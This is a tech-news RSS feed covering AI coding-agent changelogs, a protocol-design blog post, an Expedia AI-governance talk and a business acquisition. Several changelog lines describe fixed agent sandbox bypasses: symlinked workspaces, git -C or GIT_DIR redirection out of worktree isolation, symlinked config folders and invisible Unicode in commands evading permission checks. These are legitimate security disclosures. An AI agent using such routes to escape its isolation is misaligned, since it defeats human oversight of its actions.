    • Fixed Windows auto-update failures that could leave claude.exe missing; failed updates now restore the preserved executable automatically
    • Fixed background session isolation not canonicalizing symlinked working directories, which could let sessions escape their workspace folder
    • Fixed auto-compact never triggering for Claude Opus 4.8 on Bedrock and /compact failing once over the limit
    • Fixed corporate mTLS, TLS-verify, OAuth scope, and proxy settings being ignored in Claude Desktop sessions
    • Fixed screen reader mode's startup announcement being cut off by the first prompt render, and the thinking status row re-rendering every few seconds to update elapsed time and token counts
    • Fixed managed settings that set OTEL_EXPORTER_OTLP_ENDPOINT not governing all signals — lower-scope signal-specific overrides no longer redirect telemetry away from the managed endpoint
    • Fixed --resume/--continue and /resume failing with a TypeError when a transcript has a malformed attachment entry
    • Fixed Remote Control sessions not showing a pending permission prompt or dialog to viewers that connected after it appeared
    • Fixed background shells sometimes becoming impossible to stop after a session is sent to the background (/background or ←) or when the session exits on a heavily loaded machine, most visible on Windows
    • Fixed a CLAUDE.md or SKILL.md paths frontmatter value with many brace groups OOM-killing or stalling the CLI at startup — brace expansion is now budget-bounded
    • Fixed the transcript preview sitting flush against the input area when attaching to a starting background session; it now leaves the same one-line gap as the live layout, so the transcript no longer shifts when the session takes over
    • Improved footer PR badge links to be clickable hyperlinks even when terminal support can't be detected (e.g. over ssh/tmux); set FORCE_HYPERLINK=0 to opt out
    • Changed the login-expiry warning to appear 3 days before expiry instead of 5
    • Capped the frontend-design plugin suggestion tip at 3 lifetime impressions instead of repeating indefinitely
    • Added a cap on concurrently-running subagents (default 20, override with CLAUDE_CODE_MAX_CONCURRENT_SUBAGENTS) so one message can't fan out unbounded background agents
    • Changed subagents to no longer spawn nested subagents by default; set CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH to allow deeper nesting
    • Fixed --max-budget-usd not stopping background subagents: once the cap is reached, new spawns are denied and running background agents are halted
    ]]>         <![CDATA[Martin Thompson: Why in Building Protocols, Like Code, Starting Over Is Dumb]]> https://tsecurity.de/de/3684807/tools/martin-thompson-why-in-building-protocols-like-code-starting-over-is-dumb/ https://tsecurity.de/de/3684807/tools/martin-thompson-why-in-building-protocols-like-code-starting-over-is-dumb/ Tue, 21 Jul 2026 22:58:58 +0200 💾 Tools tsecurity.de Today, the IETF held the CURRENT BoF, where the goal was to develop a new protocol. That protocol would be substantially like TLS, reusing its record layer and basic structure, but it would drop in MLS for key exchange.

    This is somewhere between a pretty bad idea and a horrible idea.

    The wholesale replacement of a huge chunk of protocol architectures is a hallmark of a lot of the AI-generated protocol proposals that have flooded the IETF. A small blemish is identified, then the fix is a whole new protocol, or a major piece of surgery. No regard for the wisdom of Chesterton’s Fence or the accumulated knowledge and usefulness embodied in what exists.

    Experienced engineers know that rewriting a code module is not something you do lightly. There’s lots of literature out there about why this is a bad idea generally, and some emerging discussion about how AI might just change that.

    The reasons not to rewrite a software component still largely apply to a protocol component. The reasons that AI might make it easier to do that safely, less so. Protocols are different.

    Wholesale Change Will Miss Use Cases

    Just like with a code change, a protocol component that changes will miss use cases that people really care about.

    The usual concerns with code apply:

    • The existing features you know about and can test for can be handled.
    • The existing problems you know and care about can be fixed.
    • You inevitably introduce brand-new problems.
    • The existing features you don’t know about get lost.

    Unlike code changes, you probably don’t have a test case for existing features that you didn’t know about. We found that with HTTP/2, where a number of use cases got lost in the process of “upgrading” HTTP.

    In HTTP/1.1, performing client authentication in the middle of request was possible. Losing that capability in HTTP/2 affected few enough people that it was not badly damaging for the ecosystem. It still sucked.

    A lot of work was done to try to find these issues, but we did not learn about these problems until fairly late in the process.

    Proposing a protocol change means asking a whole lot of other people, many of whom are not invested in your goals, to do that work.

    Changing a protocol by replacing a chunk of it, no matter how much care is taken, either asks the entire ecosystem to change with you.

    That means asking everyone to move with you. If they don’t, you are not changing the protocol, you are forking it.

    Forking A Protocol Destroys Interoperability

    The real value of having a protocol like TLS is that a great many things can all talk to each other.

    Forking a protocol – and sometimes profiling a protocol, a subject for another post – destroys that. You now have two ways to achieve the same goal, and a choice to join one of two clubs. You can join both, but that means constantly translating back and forth, something that can only get harder over time as protocol semantics diverge.

    And yes, in case you were asking, this applies to the entirety of the IETF IoT sphere, which has parallel HTTP, TLS, and other analogues. Ostensibly, these address the needs of highly constrained hardware, but the cost is an ecosystem cut off from the mainstream.

    But Fixing Protocols Is Hard

    Yes, existing protocols come with baggage or technical debt. Maybe they aren’t perfectly optimized for your use.

    The value that an existing protocol carries is that you are sharing the burden of its maintenance with a great many more people. Fixing it, maybe by adding extensions to support your needs, comes with opportunities to improve the protocol even beyond that immediate need. Every change is a chance to work off some of the accumulated cruft.

    Major refreshes, like the TLS 1.3 reworking, cleared out a ton of cruft in the process. You get to benefit from the work that others do to improve that protocol too.

    Do the Work

    It is hard to be a responsible steward for the fabric of the Internet. We do it because it is worthwhile. Ignoring the lessons of the past is not helpful.

    ]]>         <![CDATA[Evals are the new PRD, Expedia’s AI chief tells VB Transform 2026]]> https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/ https://tsecurity.de/de/3684604/it-nachrichten/evals-are-the-new-prd-expedias-ai-chief-tells-vb-transform-2026/ Tue, 21 Jul 2026 20:19:07 +0200 📰 IT Nachrichten tsecurity.de “The new PRD are the evals,” Xavi Amatriain, Expedia Group’s first chief AI and data officer, told the VB Transform 2026 audience last week in Menlo Park. “So basically, you encode what you want the product to do through your evals, which might include red teaming evals and all kinds of other things, which already have a bunch of security requirements. So, you already embed that into the PRD and the product design document before you even start coding.”

    He pushed it further. “With AI-assisted or AI-generated code, that’s gonna be the future. It’s like all your thinking is gonna go into the evals.”

    Amatriain served as VP of AI and Compute Enablement at Google across the platforms powering Gemini and Google Search before his December 2025 appointment at Expedia. He's mentored talent who went on to found Perplexity and Scale AI.

    VentureBeat’s VB Pulse research on the evaluation gap reinforced the stakes. Sixty-six percent of the 157 enterprises surveyed already permit some production deployment without human review or are building toward it within the next 12 months, yet only 5% fully trust the automated evaluations that would make that decision. Half have shipped an agent that passed internal evals but then failed with a real customer.

    Don’t let guardrails get in the way of feedback

    “The more guardrails and artificial business rules and sort of rules that you put into the system, the worse off,” Amatriain said. “Not only because they’re brittle, but also because they actually mess up with the feedback loop. You are actually biasing the user and the feedback you get from the user, and then you’re learning that in the wrong way.” He called guardrails “a necessary evil” and said the goal is to minimize their impact over time.

    Not everyone at Transform agreed. Other speakers argued during the event that the highest-risk actions still demand very firm guardrails.

    Expedia governs AI through three layers instead. Principles come first, communicated broadly. “I like to encode at a very high level how I expect decisions to be made, because in a large organization you’re gonna have a lot of distributed decision making,” Amatriain said. “And sometimes, if you’re lucky enough, those principles might be embedded in your culture. But most of the time, my experience has been they’re not.” The processes and tools that enforce them follow. “Principles look really nice on a picture on some wall, but you need to then give them teeth,” he said. Automation sits on top of both.

    In practice, this plays out through what Expedia calls agent release toll gates, checkpoints calibrated to risk. “Governance needs to correlate to the risk,” Amatriain said. “And if you have something that is low risk, you don’t need too much governance to get in the way. But if there’s a lot of risk, then you need more governance. That can be encoded.” The toll gates tie evaluation rounds, red teaming, and security review to each agent’s risk level, and the checks shift from recommended to required as the stakes climb.

    Specialized agents over monolithic intelligence

    “Even when I was at Google, I was like, I don’t believe in AGI as sort of like a singleton and a unified sort of like single model,” Amatriain told the audience. “I think it’s much better to think of it as composition, sort of like having specialized agents that are very good at some task and then composing the system out of those specialized agents.”

    Expedia’s architecture starts at the component level. Tools compose into skills, skills assemble into sub-agents, and sub-agents get orchestrated into the full agentic system. “You need to have those principles that are unified that talk about things like what is the tone that we’re using, how are we addressing the user, how are we passing context, memory,” he said. “All of that needs to be thoroughly designed.” He framed this as a systemic design problem. “It’s not about the model, it’s not about a specific solution, it’s about how you’re designing the system.”

    Amatriain argued that scoping each agent narrowly also makes the system easier to secure, since teams can evaluate and lock down individual agents in isolation before composing them.

    When the user must keep the final click

    Travel pricing changes in real time, flight availability shifts minute to minute, and hotel reviews routinely contradict what suppliers claim. Amatriain described a system that blends retrieval-augmented generation with direct API tool calls, choosing the approach based on latency. “If the user asks you a question like, how much does a four star hotel usually cost in Chicago in July, you don’t expect the agent to take two minutes to answer that question,” he said. “You expect an immediate answer because that answer can be cached and it doesn’t need real-time information.” A pet-friendly four-star near Lake Michigan with a pool might justify a 30-second reasoning window.

    “The supplier might be saying, yeah, we have a great swimming pool, but then we also have the reviews from the travelers and we actually see there’s two reviews that say the swimming pool was not great or was not open after 6 p.m.,” Amatriain explained. A generic chatbot, he added, would only surface what a supplier self-reports, while Expedia cross-references against its own review corpus.

    “We don’t want the agent to book the hotel or to buy you a plane ticket for you,” Amatriain said. “That’s something that the user has to have the agency. And the agent can recommend, can suggest, can discuss with you, but you’re gonna have to hit that click. And that’s non-negotiable.” That constraint, he argued, is also a security decision. “Once you establish those design principles, you also don’t need the guardrail because otherwise you’re gonna have to put all those guardrails in after the fact.”

    The next attackers will be other AI systems

    “Security needs to be a principle that is shifted as left as possible and as part of the design itself,” Amatriain said in response to an audience question. “And usually when you need a guardrail is because you’ve not thought about it early on.”

    A second audience member pressed for lessons learned from production. Amatriain described a feedback loop where monitoring signals flow back into the eval suite. “You can almost automate the whole cycle,” he said. “But having that whole feedback loop from real signals, from your operating AI system, all the way into being reported and fixed as quickly as possible is going to become essential.”

    Amatriain's toll gates are a bet that governance calibrated to risk can stay ahead of that feedback loop. VentureBeat’s separate June Pulse survey on agent security, drawn from 107 enterprises, shows how thin that margin is. More than half, 54 percent, have already had an agent security incident or near-miss. Fifty-nine percent plan to adopt, add, or replace agent security tooling within 12 months, and 29% plan to move this quarter. Incident rates climb with organization size, reaching 63% among enterprises with more than 1,000 employees versus 49% for companies with 101 to 1,000. And sandbox isolation, the one post-breach control that limits damage, drops from 35% adoption at the smaller companies to just 20 percent at the largest.

    Amatriain warned that threats will increasingly come from other AI systems. “You’re gonna get threats coming not only from humans but also from other external agentic systems that are really powerful, and they’re gonna be poking at everything you’re doing. And as soon as you detect something, it’s not only about the detection, but the time to fix becomes essential here.”

    ]]>         <![CDATA[Certinia acquires AI services company Moonnox]]> https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/ https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/ Tue, 21 Jul 2026 17:30:59 +0200 📰 IT Security Nachrichten tsecurity.de

    AI-powered professional services automation provider Certinia has acquired Moonnox, an AI-native automation platform created for the sector. It extends Certinia’s system of action, Veda, offering a new suite of AI agents that automate administration, project management and project deliverables, the company said.

    The acquisition will add real-time native context capture across applications such as Salesforce, G-Suite, Microsoft 365, Jira, Confluence, Zoom and others, and, unlike point agents, it “spans the full arc from proposal to delivery to renewal, so nothing has to be rebuilt, re-mapped, or re-trusted as work moves from sales to delivery to customer success,” Certinia said.

    New capabilities in Veda include automatic creation of proposal responses and statements of work, conversion of high-level business requirements into actionable blueprints, providing an on-demand virtual assistant to manage day-to-day tasks, performing scope scans and otherwise monitoring projects to proactively manage risk, and organizing delivery data and lessons learned into a searchable knowledge base for later use.

    “What excites me most is the combination,” Robert Ong, co-founder and CEO of Moonnox, now part of Certinia, said in a statement. “Moonnox’s ability to capture what happens in the room, paired with Certinia’s system of record and agentic capabilities for services operations, closes a gap neither of us could close alone. Together, we give services firms the foundation to capture that value, deliver with confidence, and navigate shifting their operating models into the future.”

    Thomas Randall, research director at Info-Tech Research Group, said it’s a smart move for Certinia to acquire Moonnox. “The current solution is quite complex to use. What Moonnox offers for Certinia is a way for non-technical staff to navigate their system of record across unstructured data silos. I expect to see an increase in satisfaction for the user experience.”

    However, Jason Andersen, VP and principal analyst at Moor Insights & Strategy, still has questions.

    “While this acquisition might increase service planning and delivery efficiencies in the short term, the real question will be how this combination will help firms with the fundamental shift AI and agents have thrust upon the services industry,” he pointed out. ”Unfortunately for services firms, agentic technologies have already reset client perceptions on internal work capacity, velocity, and cost. So, the proof point I’d like to see is beyond margin improvement and towards business transformation.”

    ]]>         <![CDATA[What the World Cup can teach us about cybersecurity resilience]]> https://tsecurity.de/de/3683329/it-security-nachrichten/what-the-world-cup-can-teach-us-about-cybersecurity-resilience/ https://tsecurity.de/de/3683329/it-security-nachrichten/what-the-world-cup-can-teach-us-about-cybersecurity-resilience/ Tue, 21 Jul 2026 12:09:43 +0200 📰 IT Security Nachrichten tsecurity.de Future major events can’t rely on yesterday's playbook. Lessons from the World Cup show why true cyber resilience starts months before kickoff and extends far beyond stadium perimeters.

    The post What the World Cup can teach us about cybersecurity resilience appeared first on CyberScoop.

    ]]>         <![CDATA[25 Years After Code Red: What the Worm Era Can Teach Us About AI Security]]> https://tsecurity.de/de/3683051/it-security-nachrichten/25-years-after-code-red-what-the-worm-era-can-teach-us-about-ai-security/ https://tsecurity.de/de/3683051/it-security-nachrichten/25-years-after-code-red-what-the-worm-era-can-teach-us-about-ai-security/ Tue, 21 Jul 2026 10:38:40 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Neural Rendering: Nvidia zeigt DLSS 5 deutlich zurückhaltender]]> https://tsecurity.de/de/3682877/it-nachrichten/neural-rendering-nvidia-zeigt-dlss-5-deutlich-zurueckhaltender/ https://tsecurity.de/de/3682877/it-nachrichten/neural-rendering-nvidia-zeigt-dlss-5-deutlich-zurueckhaltender/ Tue, 21 Jul 2026 09:02:48 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[v2.1.216]]> https://tsecurity.de/de/3682279/downloads/v21216/ https://tsecurity.de/de/3682279/downloads/v21216/ Tue, 21 Jul 2026 00:16:52 +0200 💾 Downloads tsecurity.de What's changed
    • Added sandbox.filesystem.disabled setting to skip filesystem isolation while keeping network egress control
    • Fixed a slowdown in long sessions where message normalization cost grew quadratically with the number of turns, causing multi-second stalls and slow resumes
    • Fixed auto mode denying commands with "HTTP 401" classifier errors after the OAuth token expired or rotated mid-session
    • Fixed AskUserQuestion telling Claude to continue even when your answer asked it to wait or explain first — free-text answers now get neutral wording
    • Fixed Claude Code on the web re-asking the same question and dropping your answer after the session sat idle for a few minutes
    • Fixed @-mentions silently attaching nothing after file-modifying hooks, vim dot-repeat of c-operators and paste, statusline running twice on resume, and resume-picker hangs on failure
    • Fixed resumed background agent sessions reverting to the default agent: the agent's prompt and tool restrictions are now restored
    • Fixed worktree-isolated subagents redirecting git into the shared checkout via git -C, --git-dir, or GIT_DIR/GIT_WORK_TREE
    • Fixed worktree sessions landing in another project's leftover worktree when the working directory did not match the selected project
    • Fixed background sessions whose worktree has no git repository being undeletable
    • Fixed claude daemon stop --any potentially terminating an unrelated process via a stale legacy daemon lockfile
    • Fixed Esc-Esc at an idle prompt not opening the rewind picker in long-running sessions with background tasks
    • Fixed Bash command permission checking for compound statements with redirects inside && lists or negations
    • Fixed pressing Ctrl+X twice in the agent list failing to delete a session, and deleted sessions reappearing when their background worker had died
    • Fixed background subagents getting cancelled when a high-priority message arrives during their startup window
    • Fixed mouse and focus garbage in the terminal while a GUI editor from /memory, /plan, /keybindings, or Ctrl+G is open; /memory no longer waits for the editor to close
    • Fixed Claude-in-Chrome 403-looping on reconnect when the session's OAuth token lacks a required scope
    • Fixed workflow saves and scheduled-task writes following a symlink at .claude, which could redirect writes outside the project
    • Fixed MCP re-authenticate revoking working credentials before the new sign-in succeeds, and the reconnect needs-auth message in background sessions pointing at an unusable command
    • Fixed read-only commands on Windows accessing network paths without a permission prompt
    • Fixed Bash command parsing of non-ASCII characters to match real shell word boundaries
    • Fixed PowerShell tool permission validation of commands containing invisible Unicode characters
    • Fixed dialogs in fullscreen mode stretching past the right-hand edge of their panel
    • Fixed the /config settings list in fullscreen mode clipping its keyboard-hint footer
    • Fixed the transcript-mode (Ctrl+O) footer hint wrapping on terminals narrower than 104 columns
    • Fixed the Prometheus metrics endpoint (OTEL_METRICS_EXPORTER=prometheus) emitting invalid # UNIT lines
    • Fixed skills and commands changed during a session not appearing in the slash menu until restart
    • Fixed plugin skills with a name frontmatter field losing their plugin prefix in slash-command autocomplete
    • Fixed telemetry misreporting permission denials: failed permission-prompt requests no longer count as user rejections, and user interrupts are now reported as user aborts instead of rejections
    • Improved the /fork confirmation to one line with the new session's name, claude attach id, and a note when the copy shares your checkout
    • Improved validation of git and gh command arguments in the PowerShell tool
    • Improved the /ultrareview diff-too-large error to show configured limits, measured diff size, and largest contributing files
    • Improved /code-review ultra empty-diff message to name the exact base ref and suggest passing an explicit base
    • Improved the spend limit adjustment prompt to show the server's reason when a spend limit change is rejected
    • /context now shows an explicit warning when the conversation exceeds the context window, and a failed /compact displays as an error
    • /rewind no longer restores or deletes files through symlinks or hard links at tracked paths and reports how many paths it skipped
    • Background sessions: /mcp and /install-github-app now park a "needs input" request in the agent view when no client is attached
    • Updated the bundled dataviz skill: reordered the default chart palette and fixed guidance that suggested direct labels for four-series charts
    • [VSCode] Fixed right-to-left text (Arabic, Hebrew, Persian) rendering in the wrong order when mixed with English or code
    • Fixed cloud sessions dropping the in-flight message when the session's container restarts mid-turn — the interrupted turn now re-runs on resume instead of leaving the session unresponsive
    ]]>         <![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]> https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/ https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/ Mon, 20 Jul 2026 20:46:40 +0200 💾 Downloads tsecurity.de Hermes Agent v0.19.0 (v2026.7.20)

    Release Date: July 20, 2026
    Since v0.18.0: ~2,245 commits ¡ ~1,065 merged PRs ¡ ~2,465 files changed ¡ ~300,000 insertions ¡ ~36,000 deletions ¡ ~3,300 issues closed ¡ 450+ community contributors

    The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.

    ✨ Highlights

    • Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)

    • The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)

    • Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)

    • Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny <reason> (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)

    • Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)

    • Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)

    • A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)

    • One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)

    • New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)

    • Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)

    • Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)

    • Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)

    ⚡ Performance — the speed spine

    First-turn latency (all platforms)

    • ~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
    • Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
    • Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

    Desktop speed wave

    • 14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
    • Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
    • Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
    • Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

    Everywhere else

    • TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
    • Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
    • Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
    • hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
    • Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

    🏗️ Core Agent & Architecture

    Providers & models

    • Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
    • DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
    • GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
    • grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
    • Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
    • GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
    • Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
    • Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
    • Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
    • kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
    • Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

    Reasoning & MoA

    • max + ultra effort levels across every surface and route (#62650 — @teknium1)
    • Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
    • MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

    Delegation, approvals & the agent loop

    • Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
    • Smart approvals default; user-defined deny rules (block even under yolo); /deny <reason> relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
    • Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
    • Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
    • Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
    • Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

    Secrets & config

    • Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
    • hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
    • Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

    Sessions & compression

    • Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
    • Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
    • Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

    🌐 Gateway, Fleet & Relay

    • Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
